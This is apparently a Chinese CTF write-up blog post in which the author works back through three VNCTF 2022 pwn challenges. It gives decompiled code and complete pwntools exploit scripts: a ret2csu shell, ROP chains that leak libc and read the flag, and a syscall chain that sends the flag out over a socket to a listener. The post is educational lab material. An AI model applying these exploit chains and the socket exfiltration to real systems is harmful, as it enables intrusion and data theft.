VN2022复现[1]
196082 慢慢好起来

首先反思一下,整场比赛我只看了HideOnHeap和classic_httpd这两道题(因为在最开始的时候这两道题是排在最前面的)。发现毫无思路我就直接开始摆烂了,后面的pwn题也是一道没看,甚至都没下载下来。 拒绝摆烂,从你我做起!

clear_got

这个题目就是一个非常简单的栈溢出,咋一看以为是SROP实际上就是非常基础的ROP即可(愈发觉得自己摆烂不是人了)。

题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[92]; // [rsp+0h] [rbp-60h] BYREF
int v5; // [rsp+5Ch] [rbp-4h]

init(argc, argv, envp);
memset(buf, 0, 0x50uLL);
puts("Welcome to VNCTF! This is a easy competition.///");
read(0, buf, 0x100uLL);
v5 = (int)&qword_601008;
memset(&qword_601008, 0, 0x38uLL);
return 0;
}

可以看到存在一处栈溢出,然后下面将got表全部清空,但是题目给了两个用syscall直接调用的函数,所以我的第一反应就是SROP,不过WP的方法感觉更为简单,就是ret2csu即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

elf = ELF('./clear_got')
r = process('./clear_got')

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'

bss = elf.bss()+0x20
syscall_ret = 0x40077E

payload = b'a'*(0x60+0x8)+p64(0x4007EA)+p64(0xc01c8) + \
p64(0xc01c9)+p64(0)+p64(59)+p64(bss)+p64(0)
payload += p64(0x4007D0)+p64(0)+p64((bss+8)//8)+p64((bss+8)//8+1) + \
p64(0)*3+p64(bss)+p64(syscall_ret)+p64(0x4007D0)
payload = payload.ljust(0x100, b'a')

info('bss=>'+hex(bss))
# gdb.attach(r)
r.send(payload)

payload = b'/bin/sh\x00'+p64(syscall_ret)
payload = payload.ljust(59, b'\x00')

r.sendline(payload)

r.interactive()

这里比较巧妙的一点就是在最后到0x4007D0这个地址时其实是用call了那个syscall来实现调用的。

easyROPtocol

这道题目的难度也不是很大,关键是把结构体搞清楚就好(真是越看越想打自己)。

题目分析

1
2
3
4
5
6
7
8
9
10
11
12
struct tcp{
0x766e; // size=2
0x28b7; // size=2
0xn001; // size=4
0x1; // size=4
0x6; // size=2
0x1; // size=2
// size=2
0x0; // size=2
0x1; // size=2
0xffff; // size=2
}

最后推出来的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ssize_t sub_401830()
{
const void *v0; // rbx
size_t v1; // rax
size_t v2; // rax
char s[24]; // [rsp+0h] [rbp-3020h] BYREF
int i; // [rsp+3008h] [rbp-18h]
int v6; // [rsp+300Ch] [rbp-14h]

v6 = 1;
memset(s, 0, 0x3000uLL);
while ( dword_40422C )
{
for ( i = 0; i <= 3 && (!chunk_arr[i] || *(chunk_arr[i] + 4LL) != v6); ++i )
;
if ( i == 4 )
break;
if ( 4 * (*(chunk_arr[i] + 12LL) & 0xF) != 20 && *(chunk_arr[i] + 20LL) )
{
v0 = (chunk_arr[i] + 4 * (*(chunk_arr[i] + 12LL) & 0xF));
v1 = strlen(s);
memcpy(&s[v1], v0, 0x1000uLL);
v6 += 4096;
}
else
{
strcpy(s, (4 * (*(chunk_arr[i] + 12LL) & 0xF) + chunk_arr[i]));
dword_40422C = 0;
}
}
v2 = strlen(s);
write(1, s, v2);
return write(1, "Done.\n", 6uLL);
}

首先是看漏洞函数,这里存在一处栈溢出,memcpy(&s[v1], v0, 0x1000uLL);但是要实现需要满足上面的条件,这就必须要去搞清楚结构体了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void sub_40164F()
{
size_t v0; // rax
int v1; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 3 && *(&chunk_arr + i); ++i )
;
if ( i != 4 )
{
*(&chunk_arr + i) = malloc(0x1000uLL);
read(0, *(&chunk_arr + i), 0x1000uLL);
v1 = sub_4014AF(*(&chunk_arr + i));
if ( (sub_401590(*(&chunk_arr + i)) & v1) == 1 )
{
dword_40422C = 1;
}
else
{
v0 = strlen(aBengBuZhuLe);
write(2, aBengBuZhuLe, v0);
free(*(&chunk_arr + i));
*(&chunk_arr + i) = 0LL;
}
}
}

想要成功创建出结构体就必须要通过那个if语句,也就是v1和前面的sub_401590(*(&chunk_arr + i)都为1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall sub_4014AF(__int64 a1)
{
__int64 result; // rax

if ( *a1 != 0x766E )
return 0LL;
if ( *(a1 + 2) != 0x28B7 )
return 0LL;
if ( !*(a1 + 4) )
return 0LL;
if ( !*(a1 + 8) )
return 0LL;
if ( !*(a1 + 14) )
return 0LL;
if ( *(a1 + 18) )
return 0LL;
if ( 4 * (*(a1 + 12) & 0xF) == 20 )
goto LABEL_18;
if ( 4 * (*(a1 + 12) & 0xF) != 24 )
return 0LL;
if ( *(a1 + 22) == 0xFFFF )
LABEL_18:
result = 1LL;
else
result = 0LL;
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
_BOOL8 __fastcall sub_401590(__int64 a1)
{
char v2[23]; // [rsp+Bh] [rbp-1Dh] BYREF
unsigned __int16 j; // [rsp+22h] [rbp-6h]
unsigned __int16 i; // [rsp+24h] [rbp-4h]
__int16 v5; // [rsp+26h] [rbp-2h]

strcpy(v2, "fakeipheadfa");
*&v2[13] = v2;
v5 = 0;
for ( i = 0; i <= 5u; ++i )
v5 ^= *(2LL * i + *&v2[13]);
*&v2[13] = a1;
for ( j = 0; j <= 0x7FFu; ++j )
{
if ( j != 8 )
v5 ^= *(2LL * j + *&v2[13]);
}
return v5 == *(a1 + 16);
}

很容易就可以推出来结构体(下面这个函数当中是当j!=8我一直以为是chunk_addr+8,结果卡了半个小时发现是2*j(我是傻逼)

程序开启了沙箱所以使用orw即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *

elf = ELF('./pwn')
r = process('./pwn')
libc = ELF('libc-2.31.so')

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'


def package(addr_4, content):
pack = p16(0x766e)
pack += p16(0x28b7)
pack += p32(addr_4)
pack += p32(0x1)
pack += p16(0x6)
pack += p16(0x1)
pack += p16(0x0)
pack += p16(0x0)
pack += p16(0x1)
pack += p16(0xffff)+content
v2 = 'fakeipheadfa'
v5 = 0
for i in range(6):
v5 = v5 ^ int(hex(ord(v2[:2][::-1][0])) +
hex(ord(v2[:2][::-1][1]))[2:], 16)
v2 = v2[2:]
a1 = pack
for i in range(0x800):
v5 = v5 ^ u16(a1[:2])
a1 = a1[2:]
pack = pack[:16]+p16(v5)+pack[18:]
return pack


def create(content):
r.recvuntil(b'4. Quit.')
r.sendline(b'1')
r.send(content)


def delete(id):
r.recvuntil(b'4. Quit.')
r.sendline(b'2')
r.recvuntil(b'Which?')
r.sendline(bytes(str(id), encoding='utf8'))


def vuln():
r.recvuntil(b'4. Quit.')
r.sendline(b'3')


pop_rdi = 0x0000000000401bb3
pop_rsi_r15 = 0x0000000000401bb1
main = 0x401A5E
write_got = elf.got['write']
write_plt = elf.plt['write']
read_plt = elf.plt['read']
bss = elf.bss()+0x28

create(package(1, b'a'*(0x1000-24)))
create(package(0x1001, b'a'*(0x1000-24)))
create(package(0x2001, b'a'*(0x1000-24)))
payload = b'a'*(0x3020+0x8-(0x1000-24)*3)+p64(pop_rdi) + \
p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main)
create(package(0x3001, payload.ljust(0x1000-24, b'\x00')))

vuln()
r.recvuntil(b'Done.\n')
write_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = write_addr+libc.symbols['write']
open_addr = libc_base+libc.symbols['open']
pop_rdx = libc_base+next(libc.search(asm('pop rdx\nret', arch='amd64')))
pop_rsi = libc_base+next(libc.search(asm('pop rsi\nret', arch='amd64')))
delete(0)
delete(1)
delete(2)
delete(3)

create(package(1, b'a'*(0x1000-24)))
create(package(0x1001, b'a'*(0x1000-24)))
create(package(0x2001, b'a'*(0x1000-24)))
payload = b'a'*(0x3020+0x8-(0x1000-24)*3-6) + p64(pop_rdi) + \
p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x5)+p64(read_plt)
payload += p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(open_addr)
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss) + \
p64(pop_rdx)+p64(0x30)+p64(read_plt)
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss) + \
p64(pop_rdx)+p64(0x30)+p64(write_plt)
create(package(0x3001, payload.ljust(0x1000-24, b'\x00')))
gdb.attach(r)
vuln()
r.send(b'flag\x00')

r.interactive()

BingDwenDwen

看似是一个简单的栈溢出,但是这道题关闭了三个基本的IO流,所以没法泄漏没法多次什么的,需要用到反弹shell。而且题目又开了沙箱,所以只能使用orw然后将结果写入socket流。

主要流程:open(flag,0) -> read(fd,flag_addr,0x30) -> socket(AF_INET, SOCK_STREAM, IPPROTO_IP) -> dup2(soc,2) -> connect(soc, (struct sockaddr *)&serv_addr,sizeof(struct sockaddr_in)) -> write(2,flag,0x30)。官方的wp写的也很清楚。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

elf = ELF('./pwn')
r = process('./pwn')
libc = ELF('./libc.so.6')

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'

pop_rdi = 0x0000000000401356
pop_rsi = 0x0000000000401358
pop_rdx = 0x0000000000401354
pop_rax = 0x000000000040135a
syscall_ret = 0x0000000000401351
mov_rdi_rcx = 0x000000000040135f
push_rax_pop_rcx = 0x40135C
bingdwendwen = 0x403700
flag_addr = bingdwendwen+0x1b0
ip_port = bingdwendwen+0x1c0

payload = b'a'*0x10+p64(pop_rdi)+p64(flag_addr) + \
p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall_ret)
# open(flag,0)
payload += p64(push_rax_pop_rcx)+p64(mov_rdi_rcx) + \
p64(pop_rsi)+p64(flag_addr+0x20)+p64(pop_rdx) + \
p64(0x30)+p64(pop_rax)+p64(0)+p64(syscall_ret)
# read(fb,flag,0x30)
payload += p64(pop_rdi)+p64(2)+p64(pop_rsi)+p64(1)+p64(pop_rdx) + \
p64(0)+p64(pop_rax)+p64(41)+p64(syscall_ret)
# socket(2, 1, 0)
payload += p64(push_rax_pop_rcx)+p64(mov_rdi_rcx)+p64(pop_rsi) + \
p64(2)+p64(pop_rax)+p64(33)+p64(syscall_ret)
# dup2(soc, 2)
payload += p64(pop_rdi)+p64(2)+p64(pop_rsi)+p64(ip_port) + \
p64(pop_rdx)+p64(16)+p64(pop_rax)+p64(42)+p64(syscall_ret)
# connect(2, serv_addr, 16)
payload += p64(pop_rdi)+p64(2)+p64(pop_rsi)+p64(flag_addr+0x20) + \
p64(pop_rdx)+p64(0x30)+p64(pop_rax)+p64(1)+p64(syscall_ret)
# write(2,flag,0x30)
payload = payload.ljust(0x1b0, b'\x00')+b'./flag'
payload = payload.ljust(0x1c0, b'\x00')+p64(0x0100007fe8030002)

# gdb.attach(r)
r.send(payload)

r.interactive()

这里的0x0100007fe8030002分开来看是0x0100007f => 127.0.0.1,0xe803 => 1000,0x0002 => AF_INET

然后在服务器运行

1
2
3
4
5
6
7
8
9
10
11
import socket

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('localhost', 1000))
server.listen(1)
while True:
conn, addr = server.accept()
try:
print(conn.recv(1024))
except Exception as e:
conn.close()

今天先复现三个了,肝的太晚了!

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量